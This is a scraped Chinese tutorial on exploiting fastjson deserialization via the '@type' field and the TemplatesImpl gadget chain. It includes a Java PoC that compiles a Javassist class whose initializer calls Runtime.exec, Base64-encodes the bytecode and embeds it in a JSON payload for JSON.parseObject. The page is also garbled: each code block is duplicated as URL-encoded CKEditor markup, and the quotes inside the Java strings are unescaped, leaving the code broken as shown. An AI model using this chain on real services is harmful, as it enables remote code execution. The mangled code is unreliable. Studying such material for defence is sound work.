|
原文链接:fastjson从0到1 (qq.com)
fastjson简单使用
User:
- package com.naihe;
- public class User {
- private String name;
- private int age;
- public User() {}
-
- public User(String name, int age) {
- this.name = name;
- this.age = age;
- }
- public String getName() {
- return name;
- }
- public void setName(String name) {
- this.name = name;
- }
- public int getAge() {
- return age;
- }
- public void setAge(int age) {
- this.age = age;
- }
- }
复制代码

Demo:
- package com.naihe;
- import com.alibaba.fastjson.JSONObject;
- import com.alibaba.fastjson.serializer.SerializerFeature;
- public class FS {
- public static void main(String[] args) {
- User user1 = new User("小李",10);
- String JsStr1= JSONObject.toJSONString(user1);
- System.out.println(JsStr1);
- User user2 = new User("大李",100);
- String JsStr2= JSONObject.toJSONString(user2, SerializerFeature.WriteClassName);
- System.out.println(JsStr2);
- String str = "{"@type":"com.naihe.User","age":1000,"name":"老李"}";
- Object obj1 = JSONObject.parse(str);
- System.out.println(obj1);
- Object obj2 = JSONObject.parseObject(str);
- System.out.println(obj2);
- }
- }
复制代码

 
反序列化漏洞分析由于fastjson调试起来过程比较复杂,在这里直接看关键点:首先会获取字符串的第一对引号中的内容
 
如果内容为@type就会加载下一对引号中的类
 
 
在JavaBeanInfo.class中会获取类中所有详细详细 在这里匹配以set开头的方法
 
 
这里判断函数名长度大于4,且以set开头,非静态函数,返回类型为void或当前类参数个数为1个的方法
 
- methodName.length() >= 4 &&
- !Modifier.isStatic(method.getModifiers()) &&
- (method.getReturnType().equals(Void.TYPE) ||
- method.getReturnType().equals(method.getDeclaringClass())))
复制代码

函数名长度大于等于4非静态方法,以get开头且第4个字母为大写,无参数,返回值类型继承自Collection或Map或AtomicBoolean,或Atomiclnteger或AtomicLon的方法
- methodName.length() >= 4 &&
- !Modifier.isStatic(method.getModifiers()) &&
- methodName.startsWith("get") &&
- Character.isUpperCase(methodName.charAt(3)) &&
- method.getParameterTypes().length == 0 &&
- (Collection.class.isAssignableFrom(method.getReturnType()) ||
- Map.class.isAssignableFrom(method.getReturnType()) ||
- AtomicBoolean.class == method.getReturnType() ||
- AtomicInteger.class == method.getReturnType() ||
- AtomicLong.class == method.getReturnType()))
复制代码

其实本质就是fastjson会利用反序列化通过无参构造创建一个对象,不通过setter或getter方法进行赋值与输出操作 因此我们只需要找到满足条件的类就行,这里一般利用的是 TemplatesImpl链来加载字节码,从而rce等操作 下面我们来证明一下我们的观点 在setter方法中添加一段命令执行的代码
- <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22package%C2%A0com.naihe%3B%5Cn%5Cnpublic%C2%A0class%C2%A0User%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0private%C2%A0String%C2%A0name%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0private%C2%A0int%C2%A0age%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0User()%C2%A0%7B%7D%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0User(String%C2%A0name%2C%C2%A0int%C2%A0age)%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0this.name%C2%A0%3D%C2%A0name%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0this.age%C2%A0%3D%C2%A0age%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0String%C2%A0getName()%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0return%C2%A0name%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0void%C2%A0setName(String%C2%A0name)%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0this.name%C2%A0%3D%C2%A0name%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0int%C2%A0getAge()%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0return%C2%A0age%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0void%C2%A0setAge(int%C2%A0age)%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0this.age%C2%A0%3D%C2%A0age%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%7D%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">package com.naihe;
- public class User {
- private String name;
- private int age;
- public User() {}
- public User(String name, int age) {
- this.name = name;
- this.age = age;
- }
- public String getName() {
- return name;
- }
- public void setName(String name) {
- this.name = name;
- }
- public int getAge() {
- return age;
- }
- public void setAge(int age) {
- this.age = age;
- }
- }</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码
Demo:
- package com.naihe;
- import com.alibaba.fastjson.JSONObject;
- public class Demo1 {
- public static void main(String[] args) {
- String str = "{"@type":"com.naihe.User","age":1000,"name":"老李"}";
- Object obj1 = JSONObject.parse(str);
-
- }
- }
复制代码


字节码加载利用defineClass加载字节码- <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22package%C2%A0com.naihe%3B%5Cn%5Cnimport%C2%A0javassist.CannotCompileException%3B%5Cnimport%C2%A0javassist.ClassPool%3B%5Cnimport%C2%A0javassist.CtClass%3B%5Cnimport%C2%A0javassist.NotFoundException%3B%5Cn%5Cnimport%C2%A0java.io.IOException%3B%5Cnimport%C2%A0java.lang.reflect.InvocationTargetException%3B%5Cnimport%C2%A0java.lang.reflect.Method%3B%5Cn%5Cnpublic%C2%A0class%C2%A0DC%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0static%C2%A0void%C2%A0main(String%5B%5D%C2%A0args)%C2%A0throws%C2%A0InvocationTargetException%2C%C2%A0IllegalAccessException%2C%C2%A0NoSuchMethodException%2C%C2%A0InstantiationException%2C%C2%A0NotFoundException%2C%C2%A0CannotCompileException%2C%C2%A0IOException%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%2F%2F%E9%80%9A%E8%BF%87%E5%AD%97%E8%8A%82%E7%A0%81%E6%9E%84%E5%BB%BA%E6%81%B6%E6%84%8F%E7%B1%BB%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0ClassPool%C2%A0classPool%3DClassPool.getDefault()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0String%C2%A0AbstractTranslet%3D%5C%22com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet%5C%22%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0classPool.appendClassPath(AbstractTranslet)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0CtClass%C2%A0payload%3DclassPool.makeClass(%5C%22CommonsCollections3%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.setSuperclass(classPool.get(AbstractTranslet))%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.makeClassInitializer().setBody(%5C%22java.lang.Runtime.getRuntime().exec(%5C%5C%5C%22calc%5C%5C%5C%22)%3B%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0byte%5B%5D%C2%A0code%3Dpayload.toBytecode()%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0Method%C2%A0defineClass%C2%A0%3D%C2%A0ClassLoader.class.getDeclaredMethod(%5C%22defineClass%5C%22%2C%C2%A0String.class%2C%C2%A0byte%5B%5D.class%2C%C2%A0int.class%2C%C2%A0int.class)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0defineClass.setAccessible(true)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0Class%C2%A0yyds%3D%C2%A0(Class)%C2%A0defineClass.invoke(ClassLoader.getSystemClassLoader()%2C%C2%A0%5C%22CommonsCollections3%5C%22%2C%C2%A0code%2C%C2%A00%2C%C2%A0code.length)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0yyds.newInstance()%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%7D%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">package com.naihe;
- import javassist.CannotCompileException;
- import javassist.ClassPool;
- import javassist.CtClass;
- import javassist.NotFoundException;
- import java.io.IOException;
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Method;
- public class DC {
- public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException, NotFoundException, CannotCompileException, IOException {
- //通过字节码构建恶意类
- ClassPool classPool=ClassPool.getDefault();
- String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
- classPool.appendClassPath(AbstractTranslet);
- CtClass payload=classPool.makeClass("CommonsCollections3");
- payload.setSuperclass(classPool.get(AbstractTranslet));
- payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
- byte[] code=payload.toBytecode();
- Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
- defineClass.setAccessible(true);
- Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "CommonsCollections3", code, 0, code.length);
- yyds.newInstance();
- }
- }</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码
 
利用TemplatesImpl加载字节码
- <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22package%C2%A0com.naihe%3B%5Cn%5Cnimport%C2%A0com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl%3B%5Cnimport%C2%A0com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl%3B%5Cnimport%C2%A0javassist.ClassPool%3B%5Cnimport%C2%A0javassist.CtClass%3B%5Cn%5Cnimport%C2%A0java.lang.reflect.Field%3B%5Cnimport%C2%A0java.util.Base64%3B%5Cn%5Cnpublic%C2%A0class%C2%A0TL%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0private%C2%A0static%C2%A0void%C2%A0setFiledValue(Object%C2%A0obj%2C%C2%A0String%C2%A0fieldName%2C%C2%A0Object%C2%A0fieldValue)%C2%A0throws%C2%A0Exception%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0Field%C2%A0field%C2%A0%3D%C2%A0obj.getClass().getDeclaredField(fieldName)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0field.setAccessible(true)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0field.set(obj%2C%C2%A0fieldValue)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0static%C2%A0void%C2%A0main(String%5B%5D%C2%A0args)%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0try%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0ClassPool%C2%A0classPool%3DClassPool.getDefault()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0String%C2%A0AbstractTranslet%3D%5C%22com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet%5C%22%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0classPool.appendClassPath(AbstractTranslet)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0CtClass%C2%A0payload%3DclassPool.makeClass(%5C%22CommonsCollections3%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.setSuperclass(classPool.get(AbstractTranslet))%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.makeClassInitializer().setBody(%5C%22java.lang.Runtime.getRuntime().exec(%5C%5C%5C%22calc%5C%5C%5C%22)%3B%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0byte%5B%5D%C2%A0codes%3Dpayload.toBytecode()%3B%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0byte%5B%5D%5B%5D%C2%A0_bytecodes%C2%A0%3D%C2%A0new%C2%A0byte%5B%5D%5B%5D%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0codes%2C%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%7D%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0TemplatesImpl%C2%A0templates%C2%A0%3D%C2%A0new%C2%A0TemplatesImpl()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0setFiledValue(templates%2C%C2%A0%5C%22_bytecodes%5C%22%2C%C2%A0_bytecodes)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0setFiledValue(templates%2C%C2%A0%5C%22_name%5C%22%2C%C2%A0%5C%22whatever%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0setFiledValue(templates%2C%C2%A0%5C%22_tfactory%5C%22%2C%C2%A0new%C2%A0TransformerFactoryImpl())%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0templates.newTransformer()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%7D%C2%A0catch%C2%A0(Exception%C2%A0e)%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0e.printStackTrace()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%5Cn%7D%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">package com.naihe;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import javassist.ClassPool;
- import javassist.CtClass;
- import java.lang.reflect.Field;
- import java.util.Base64;
- public class TL {
- private static void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj, fieldValue);
- }
- public static void main(String[] args) {
- try {
- ClassPool classPool=ClassPool.getDefault();
- String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
- classPool.appendClassPath(AbstractTranslet);
- CtClass payload=classPool.makeClass("CommonsCollections3");
- payload.setSuperclass(classPool.get(AbstractTranslet));
- payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
- byte[] codes=payload.toBytecode();
- byte[][] _bytecodes = new byte[][] {
- codes,
- };
- TemplatesImpl templates = new TemplatesImpl();
- setFiledValue(templates, "_bytecodes", _bytecodes);
- setFiledValue(templates, "_name", "whatever");
- setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
- templates.newTransformer();
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码
 
poc:
- <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22package%C2%A0com.naihe%3B%5Cn%5Cnimport%C2%A0com.alibaba.fastjson.JSON%3B%5Cnimport%C2%A0com.alibaba.fastjson.parser.Feature%3B%5Cnimport%C2%A0com.alibaba.fastjson.parser.ParserConfig%3B%5Cnimport%C2%A0javassist.CannotCompileException%3B%5Cnimport%C2%A0javassist.ClassPool%3B%5Cnimport%C2%A0javassist.CtClass%3B%5Cnimport%C2%A0javassist.NotFoundException%3B%5Cn%5Cnimport%C2%A0java.io.IOException%3B%5Cnimport%C2%A0java.util.Base64%3B%5Cn%5Cnpublic%C2%A0class%C2%A0fastjson%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0public%C2%A0static%C2%A0void%C2%A0main(String%5B%5D%C2%A0args)%C2%A0throws%C2%A0CannotCompileException%2C%C2%A0IOException%2C%C2%A0NotFoundException%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0ParserConfig%C2%A0config%C2%A0%3D%C2%A0new%C2%A0ParserConfig()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0ClassPool%C2%A0classPool%3DClassPool.getDefault()%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0String%C2%A0AbstractTranslet%3D%5C%22com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet%5C%22%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0classPool.appendClassPath(AbstractTranslet)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0CtClass%C2%A0payload%3DclassPool.makeClass(%5C%22CommonsCollections3%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.setSuperclass(classPool.get(AbstractTranslet))%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0payload.makeClassInitializer().setBody(%5C%22java.lang.Runtime.getRuntime().exec(%5C%5C%5C%22calc%5C%5C%5C%22)%3B%5C%22)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0String%C2%A0str%C2%A0%3D%C2%A0Base64.getEncoder().encodeToString(payload.toBytecode())%3B%5Cn%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0String%C2%A0text%C2%A0%3D%C2%A0%5C%22%7B%5C%5C%5C%22%40type%5C%5C%5C%22%3A%5C%5C%5C%22com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl%5C%5C%5C%22%2C%5C%5C%5C%22_bytecodes%5C%5C%5C%22%3A%5B%5C%5C%5C%22%5C%22%2Bstr%2B%5C%22%5C%5C%5C%22%5D%2C'_name'%3A'a.b'%2C'_tfactory'%3A%7B%C2%A0%7D%2C%5C%5C%5C%22_outputProperties%5C%5C%5C%22%3A%7B%C2%A0%7D%7D%5C%22%3B%5Cn%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0Object%C2%A0obj%C2%A0%3D%C2%A0JSON.parseObject(text%2C%C2%A0Object.class%2C%C2%A0config%2C%C2%A0Feature.SupportNonPublicField)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%7D%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">package com.naihe;
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.Feature;
- import com.alibaba.fastjson.parser.ParserConfig;
- import javassist.CannotCompileException;
- import javassist.ClassPool;
- import javassist.CtClass;
- import javassist.NotFoundException;
- import java.io.IOException;
- import java.util.Base64;
- public class fastjson {
- public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
- ParserConfig config = new ParserConfig();
- ClassPool classPool=ClassPool.getDefault();
- String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
- classPool.appendClassPath(AbstractTranslet);
- CtClass payload=classPool.makeClass("CommonsCollections3");
- payload.setSuperclass(classPool.get(AbstractTranslet));
- payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
- String str = Base64.getEncoder().encodeToString(payload.toBytecode());
- String text = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":[""+str+""],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}";
- Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
- }
- }</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码
利用分析
fastjosn一般是使用TemplatesImpl链来进行攻击的,在上面其实已经分析过fastjson在反序列化的时候会调用满足条件的getter方法,因此就会调用TemplatesImpl类的getOutputProperties方法,然后通过getOutputProperties,调用newTransformer
 
 
 
 
仔细观察就会发现poc中将byte进行了base64加密,那么这是为什么了?在调用deserialze时会执行base64解密
 
 
造成_bytecodes需要进行base64编码
|
|